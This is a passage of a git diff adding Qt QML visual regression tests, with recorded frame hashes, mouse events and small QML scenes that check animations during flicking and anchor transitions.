+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 1296
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 1312
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 1328
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 1344
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 1360
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 1376
+ hash: "be218d7ebfb01cf288b284cf40337913"
+ }
+ Frame {
+ msec: 1392
+ hash: "bd1af1e9187a58841b33862047ad4ae3"
+ }
+ Frame {
+ msec: 1408
+ hash: "6154c00e9290393daaf1e7a0618874c7"
+ }
+ Frame {
+ msec: 1424
+ hash: "6ed42be04df8a4cc15d9d885e4b157f5"
+ }
+ Frame {
+ msec: 1440
+ hash: "2187c8e798b2b60567284af6923a9418"
+ }
+ Frame {
+ msec: 1456
+ hash: "39ef8ac3108be3c5b8c85aaa06539952"
+ }
+ Frame {
+ msec: 1472
+ hash: "a30c2d3bbebdf3ae84c8148dfff53abf"
+ }
+ Frame {
+ msec: 1488
+ hash: "f9b5ef6675c326a3c6462f8ad173c875"
+ }
+ Frame {
+ msec: 1504
+ hash: "eab82ad570e59a68c41450df5146aea6"
+ }
+ Frame {
+ msec: 1520
+ hash: "2caf2dae27a5603de6665c1cafbe6576"
+ }
+ Frame {
+ msec: 1536
+ hash: "601b397404250d01ec9e483683c32776"
+ }
+ Frame {
+ msec: 1552
+ hash: "06dd6ec2e0f016fc0cb6bbce27e3dcd3"
+ }
+ Frame {
+ msec: 1568
+ hash: "9ebba3740bb33db00ebb62706e1d27a5"
+ }
+ Frame {
+ msec: 1584
+ hash: "9ebba3740bb33db00ebb62706e1d27a5"
+ }
+ Frame {
+ msec: 1600
+ hash: "06dd6ec2e0f016fc0cb6bbce27e3dcd3"
+ }
+ Frame {
+ msec: 1616
+ hash: "601b397404250d01ec9e483683c32776"
+ }
+ Frame {
+ msec: 1632
+ hash: "a80dcdc8ce2c4e2653e01423ea053eba"
+ }
+ Frame {
+ msec: 1648
+ hash: "8fe7230266084f07f8fd9c6991461163"
+ }
+ Frame {
+ msec: 1664
+ hash: "5d9ed702af5c520f4b268077b957586a"
+ }
+ Frame {
+ msec: 1680
+ hash: "6cccabc3a6ac3eef95794e6712404234"
+ }
+ Frame {
+ msec: 1696
+ hash: "8bfc492064d6c93727b59fd3ca2a8dc8"
+ }
+ Frame {
+ msec: 1712
+ hash: "e506cf18d730f4ab1e8e803b7663238a"
+ }
+ Frame {
+ msec: 1728
+ hash: "2187c8e798b2b60567284af6923a9418"
+ }
+ Frame {
+ msec: 1744
+ hash: "6ed42be04df8a4cc15d9d885e4b157f5"
+ }
+ Frame {
+ msec: 1760
+ hash: "b887f64a8e44a243f11e37692d54d2d1"
+ }
+ Frame {
+ msec: 1776
+ hash: "d5f157d073cd8de8cc58124455a38675"
+ }
+ Frame {
+ msec: 1792
+ hash: "d39f213d4b91229bd76d48589a067623"
+ }
+ Frame {
+ msec: 1808
+ hash: "7b2413f4fd12fd4d38fc40ebbbd893f3"
+ }
+ Frame {
+ msec: 1824
+ hash: "bd1af1e9187a58841b33862047ad4ae3"
+ }
+ Frame {
+ msec: 1840
+ hash: "1e54f1b5ef6bb7085a36d433af94a9b3"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 145; y: 286
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 166; y: 286
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 195; y: 288
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1856
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 224; y: 290
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 253; y: 290
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1872
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 286; y: 292
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 315; y: 292
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1888
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 346; y: 294
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 385; y: 294
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1904
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 420; y: 294
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 420; y: 294
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1920
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 1936
+ image: "qtbug10586.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 1968
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 1984
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2000
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2016
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2032
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2048
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2064
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2080
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2096
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2112
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2128
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2144
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2160
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2176
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2192
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2208
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2224
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2240
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2256
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2272
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2288
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2304
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2320
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2336
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2352
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2368
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2384
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2400
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2416
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2432
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2448
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2464
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2480
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2496
+ hash: "d84bf962449716cc64cb34b285926c48"
+ }
+ Frame {
+ msec: 2512
+ hash: "4c6ff9097308cb3840ef39a081bdc94f"
+ }
+ Frame {
+ msec: 2528
+ hash: "93a2b229f21b76354a8cf94f150c69e2"
+ }
+ Frame {
+ msec: 2544
+ hash: "e65350b411affe4274499fd577ccf842"
+ }
+ Frame {
+ msec: 2560
+ hash: "499968d33068c7e08898a19cce691766"
+ }
+ Frame {
+ msec: 2576
+ hash: "fe884e410a8c7b2167f814ebdf7700af"
+ }
+ Frame {
+ msec: 2592
+ hash: "c0225009d42b670f5f1ce0871be90db6"
+ }
+ Frame {
+ msec: 2608
+ hash: "320d205e147fa6470d71538d686ff458"
+ }
+ Frame {
+ msec: 2624
+ hash: "ec0a1fa273e6568d041ee2497a715704"
+ }
+ Frame {
+ msec: 2640
+ hash: "159c558e0d1b59db8e9459c4203d56f3"
+ }
+ Frame {
+ msec: 2656
+ hash: "00d237cd7ad6df807b4f9281bbc72992"
+ }
+ Frame {
+ msec: 2672
+ hash: "c472991635460a93f744538328cd89f4"
+ }
+ Frame {
+ msec: 2688
+ hash: "318ba06f590d4e3a1dea6affcc60243b"
+ }
+ Frame {
+ msec: 2704
+ hash: "d344b62df42e88e14d45def62565791a"
+ }
+ Frame {
+ msec: 2720
+ hash: "5c2658568080a663440e09acbcf2fa8d"
+ }
+ Frame {
+ msec: 2736
+ hash: "8e64867dabeaeae51149362c5f42545b"
+ }
+ Frame {
+ msec: 2752
+ hash: "abd81e11370469803bad5de9a9c77f63"
+ }
+ Frame {
+ msec: 2768
+ hash: "1cce356ebd61d7c88edb84c58a564def"
+ }
+ Frame {
+ msec: 2784
+ hash: "0ab027423651612ceba2b35e57d75d91"
+ }
+ Frame {
+ msec: 2800
+ hash: "515b6375cf0fefc8580d62cd5b2680f7"
+ }
+ Frame {
+ msec: 2816
+ hash: "f44c12b701e73a7e4d35fd10ea0f5003"
+ }
+ Frame {
+ msec: 2832
+ hash: "76bee658c9915fda03967fcb2e595683"
+ }
+ Frame {
+ msec: 2848
+ hash: "064d5525e1fa7c8ec5f571a56e666754"
+ }
+ Frame {
+ msec: 2864
+ hash: "ffd23fa2b1281cd120d6b11912bb8641"
+ }
+ Frame {
+ msec: 2880
+ hash: "7454984bc5316de021b87d04daf0e8bb"
+ }
+ Frame {
+ msec: 2896
+ image: "qtbug10586.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "1fcf6b150607c0ea807026f8f9e28f61"
+ }
+ Frame {
+ msec: 2928
+ hash: "e16a333231b3c65c85ff498e941f8c05"
+ }
+ Frame {
+ msec: 2944
+ hash: "3e49589f1b4a6b8212f5c10d234f8ffa"
+ }
+ Frame {
+ msec: 2960
+ hash: "02ce2b719ddbd977bb933882a40024f5"
+ }
+ Frame {
+ msec: 2976
+ hash: "a161119d1f022885db1af71ededa2b8c"
+ }
+ Frame {
+ msec: 2992
+ hash: "62a006aab9629dc1e8359c52664ee34b"
+ }
+ Frame {
+ msec: 3008
+ hash: "62a006aab9629dc1e8359c52664ee34b"
+ }
+ Frame {
+ msec: 3024
+ hash: "b98a2c58933bd4f49ed7a1d72bff7e66"
+ }
+ Frame {
+ msec: 3040
+ hash: "b98a2c58933bd4f49ed7a1d72bff7e66"
+ }
+ Frame {
+ msec: 3056
+ hash: "b98a2c58933bd4f49ed7a1d72bff7e66"
+ }
+ Frame {
+ msec: 3072
+ hash: "b98a2c58933bd4f49ed7a1d72bff7e66"
+ }
+ Frame {
+ msec: 3088
+ hash: "b98a2c58933bd4f49ed7a1d72bff7e66"
+ }
+ Frame {
+ msec: 3104
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3120
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3136
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3152
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3168
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3184
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3200
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3216
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3232
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3248
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3264
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3280
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3296
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3312
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3328
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3344
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3360
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3376
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3392
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3408
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3424
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3440
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3456
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3472
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3488
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3504
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3520
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3536
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3552
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3568
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3584
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3600
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3616
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3632
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3648
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+ Frame {
+ msec: 3664
+ hash: "0755ae54acb6af587bbf7ca509146e0f"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/animation/qtbug10586/qtbug10586.qml b/tests/auto/declarative/qmlvisual/animation/qtbug10586/qtbug10586.qml
new file mode 100644
index 00000000..65caedda
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/qtbug10586/qtbug10586.qml
@@ -0,0 +1,23 @@
+import QtQuick 1.0
+
+/* This test checks that animations do occur while the flickable is flicking */
+Rectangle {
+ width: 200
+ height: 400
+ Flickable {
+ id: flick
+ anchors.fill: parent
+ contentWidth: 1000; contentHeight: parent.height
+ Rectangle {
+ border.color: "black"
+ border.width: 10
+ width: 1000; height: 1000
+ }
+ }
+ Rectangle {
+ color: "red"
+ width: 100; height: 100
+ y: flick.contentX < 10 ? 300 : 0
+ Behavior on y { NumberAnimation {} }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/animation/qtbug13398/data/qtbug13398.0.png b/tests/auto/declarative/qmlvisual/animation/qtbug13398/data/qtbug13398.0.png
new file mode 100644
index 00000000..29f7c750
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/qtbug13398/data/qtbug13398.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/qtbug13398/data/qtbug13398.1.png b/tests/auto/declarative/qmlvisual/animation/qtbug13398/data/qtbug13398.1.png
new file mode 100644
index 00000000..d9a99596
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/qtbug13398/data/qtbug13398.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/qtbug13398/data/qtbug13398.qml b/tests/auto/declarative/qmlvisual/animation/qtbug13398/data/qtbug13398.qml
new file mode 100644
index 00000000..179dbc97
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/qtbug13398/data/qtbug13398.qml
@@ -0,0 +1,447 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "qtbug13398.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 48
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 64
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 80
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 96
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 112
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 128
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 144
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 160
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 176
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 192
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 208
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 224
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 240
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 256
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 272
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 288
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 304
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 320
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 336
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 352
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 368
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 384
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 400
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 416
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 432
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 448
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 464
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 480
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 496
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 220; y: 270
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 512
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 528
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 544
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 560
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 576
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 220; y: 271
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 220; y: 271
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 592
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+ Frame {
+ msec: 608
+ hash: "96e8e81d61bffe02b8f41f47a4a7e8fc"
+ }
+ Frame {
+ msec: 624
+ hash: "75881a2779bd7d7f683f87c4a7393769"
+ }
+ Frame {
+ msec: 640
+ hash: "2ef628328d2a6393095e78db80b0513f"
+ }
+ Frame {
+ msec: 656
+ hash: "390926f2c2c27dfa10c9b393ee466ce6"
+ }
+ Frame {
+ msec: 672
+ hash: "ea07d93e7d8a53f56cff19d9d3b282a4"
+ }
+ Frame {
+ msec: 688
+ hash: "8aa6be919b1ef4b7e102a319a453707e"
+ }
+ Frame {
+ msec: 704
+ hash: "6ebc518fb53ffe42fca20b9f16a21b36"
+ }
+ Frame {
+ msec: 720
+ hash: "ee7a93b157e24e22efa84604e7e44fe6"
+ }
+ Frame {
+ msec: 736
+ hash: "de3bf8f67e51b036db4976fd3b4b6c3c"
+ }
+ Frame {
+ msec: 752
+ hash: "648be4298ebe3bbc7e5c4a4c9c46f193"
+ }
+ Frame {
+ msec: 768
+ hash: "1ccf3b73e22a4b98ce1df098af9466f2"
+ }
+ Frame {
+ msec: 784
+ hash: "73a2fb047728b2b8e613f0fb8dfe429d"
+ }
+ Frame {
+ msec: 800
+ hash: "bbb4cabec4b98ea8ca94dff91a0d8c99"
+ }
+ Frame {
+ msec: 816
+ hash: "3337e86bd9fcfbce939389928fb1fb72"
+ }
+ Frame {
+ msec: 832
+ hash: "cb4a2a330e8470c61de9e9b6d2dc4597"
+ }
+ Frame {
+ msec: 848
+ hash: "e09a359578935b988ac1cc8c40b25547"
+ }
+ Frame {
+ msec: 864
+ hash: "e09a359578935b988ac1cc8c40b25547"
+ }
+ Frame {
+ msec: 880
+ hash: "e09a359578935b988ac1cc8c40b25547"
+ }
+ Frame {
+ msec: 896
+ hash: "e09a359578935b988ac1cc8c40b25547"
+ }
+ Frame {
+ msec: 912
+ hash: "e09a359578935b988ac1cc8c40b25547"
+ }
+ Frame {
+ msec: 928
+ hash: "e09a359578935b988ac1cc8c40b25547"
+ }
+ Frame {
+ msec: 944
+ hash: "e09a359578935b988ac1cc8c40b25547"
+ }
+ Frame {
+ msec: 960
+ hash: "e09a359578935b988ac1cc8c40b25547"
+ }
+ Frame {
+ msec: 976
+ image: "qtbug13398.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "e09a359578935b988ac1cc8c40b25547"
+ }
+ Frame {
+ msec: 1008
+ hash: "e09a359578935b988ac1cc8c40b25547"
+ }
+ Frame {
+ msec: 1024
+ hash: "e09a359578935b988ac1cc8c40b25547"
+ }
+ Frame {
+ msec: 1040
+ hash: "e09a359578935b988ac1cc8c40b25547"
+ }
+ Frame {
+ msec: 1056
+ hash: "e09a359578935b988ac1cc8c40b25547"
+ }
+ Frame {
+ msec: 1072
+ hash: "e09a359578935b988ac1cc8c40b25547"
+ }
+ Frame {
+ msec: 1088
+ hash: "e09a359578935b988ac1cc8c40b25547"
+ }
+ Frame {
+ msec: 1104
+ hash: "e09a359578935b988ac1cc8c40b25547"
+ }
+ Frame {
+ msec: 1120
+ hash: "e09a359578935b988ac1cc8c40b25547"
+ }
+ Frame {
+ msec: 1136
+ hash: "e09a359578935b988ac1cc8c40b25547"
+ }
+ Frame {
+ msec: 1152
+ hash: "e09a359578935b988ac1cc8c40b25547"
+ }
+ Frame {
+ msec: 1168
+ hash: "e09a359578935b988ac1cc8c40b25547"
+ }
+ Frame {
+ msec: 1184
+ hash: "e09a359578935b988ac1cc8c40b25547"
+ }
+ Frame {
+ msec: 1200
+ hash: "e09a359578935b988ac1cc8c40b25547"
+ }
+ Frame {
+ msec: 1216
+ hash: "e09a359578935b988ac1cc8c40b25547"
+ }
+ Frame {
+ msec: 1232
+ hash: "e09a359578935b988ac1cc8c40b25547"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 220; y: 271
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1248
+ hash: "e09a359578935b988ac1cc8c40b25547"
+ }
+ Frame {
+ msec: 1264
+ hash: "e09a359578935b988ac1cc8c40b25547"
+ }
+ Frame {
+ msec: 1280
+ hash: "e09a359578935b988ac1cc8c40b25547"
+ }
+ Frame {
+ msec: 1296
+ hash: "e09a359578935b988ac1cc8c40b25547"
+ }
+ Frame {
+ msec: 1312
+ hash: "e09a359578935b988ac1cc8c40b25547"
+ }
+ Frame {
+ msec: 1328
+ hash: "e09a359578935b988ac1cc8c40b25547"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 220; y: 271
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1344
+ hash: "e09a359578935b988ac1cc8c40b25547"
+ }
+ Frame {
+ msec: 1360
+ hash: "697a4fd182ff90cd557f224174bad43a"
+ }
+ Frame {
+ msec: 1376
+ hash: "99e5ca9a77df1acfed628f31b9050179"
+ }
+ Frame {
+ msec: 1392
+ hash: "1f0dc00d3e3536b40a6becf775b31cee"
+ }
+ Frame {
+ msec: 1408
+ hash: "5b81ddd35d74be222bc8a40d2573884b"
+ }
+ Frame {
+ msec: 1424
+ hash: "4e236f5de69048e87add0e4380f2c3e6"
+ }
+ Frame {
+ msec: 1440
+ hash: "a901c9c0c77e03d98a2b95267cca8514"
+ }
+ Frame {
+ msec: 1456
+ hash: "78bbdf6781c2968c67982ffdb747dbbe"
+ }
+ Frame {
+ msec: 1472
+ hash: "a245ca593649f60980be982eb8fda57e"
+ }
+ Frame {
+ msec: 1488
+ hash: "c27fddc147749da24eaeb92aeaf61738"
+ }
+ Frame {
+ msec: 1504
+ hash: "b9674af46b618dc1eedabd4f18253b11"
+ }
+ Frame {
+ msec: 1520
+ hash: "8ae3c0cc0888fd0a607bc5b537a9ce0a"
+ }
+ Frame {
+ msec: 1536
+ hash: "f1981bd3fb08233622a4078e2f717011"
+ }
+ Frame {
+ msec: 1552
+ hash: "4dce834c9e3988fe535391fedc942add"
+ }
+ Frame {
+ msec: 1568
+ hash: "ca7356dee61e156d04b0b46ea033498e"
+ }
+ Frame {
+ msec: 1584
+ hash: "97499f6e04cbe690bc12458aef4b66a5"
+ }
+ Frame {
+ msec: 1600
+ hash: "2452007928bf86b9c42e666c7a7afc89"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/animation/qtbug13398/qtbug13398.qml b/tests/auto/declarative/qmlvisual/animation/qtbug13398/qtbug13398.qml
new file mode 100644
index 00000000..93ecd2eb
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/qtbug13398/qtbug13398.qml
@@ -0,0 +1,68 @@
+import QtQuick 1.0
+
+Item {
+ width: 300
+ height: 400
+
+ Rectangle {
+ id: root
+ color: "darkkhaki"
+
+ x: 50
+ y: 50
+
+ width: 200
+ height: 300
+
+ Rectangle {
+ id: statusbar
+ color: "chocolate"
+
+ height: 30
+
+ anchors.top: root.top
+ anchors.left: root.left
+ anchors.right: root.right
+ }
+
+ Rectangle {
+ id: titlebar
+ color: "crimson"
+
+ height: 60
+
+ anchors.top: statusbar.bottom
+ anchors.left: root.left
+ anchors.right: root.right
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ root.state = root.state ? "" : "fullscreen";
+ }
+ }
+
+ states: [
+ State {
+ name: "fullscreen"
+ AnchorChanges {
+ target: statusbar
+ anchors.top: undefined
+ anchors.bottom: titlebar.top
+ }
+ AnchorChanges {
+ target: titlebar
+ anchors.top: undefined
+ anchors.bottom: root.top
+ }
+ }
+ ]
+
+ transitions: [
+ Transition {
+ AnchorAnimation { }
+ }
+ ]
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.0.png b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.0.png
new file mode 100644
index 00000000..f08e0489
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.1.png b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.1.png
new file mode 100644
index 00000000..f08e0489
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.1.png
Binary files differ
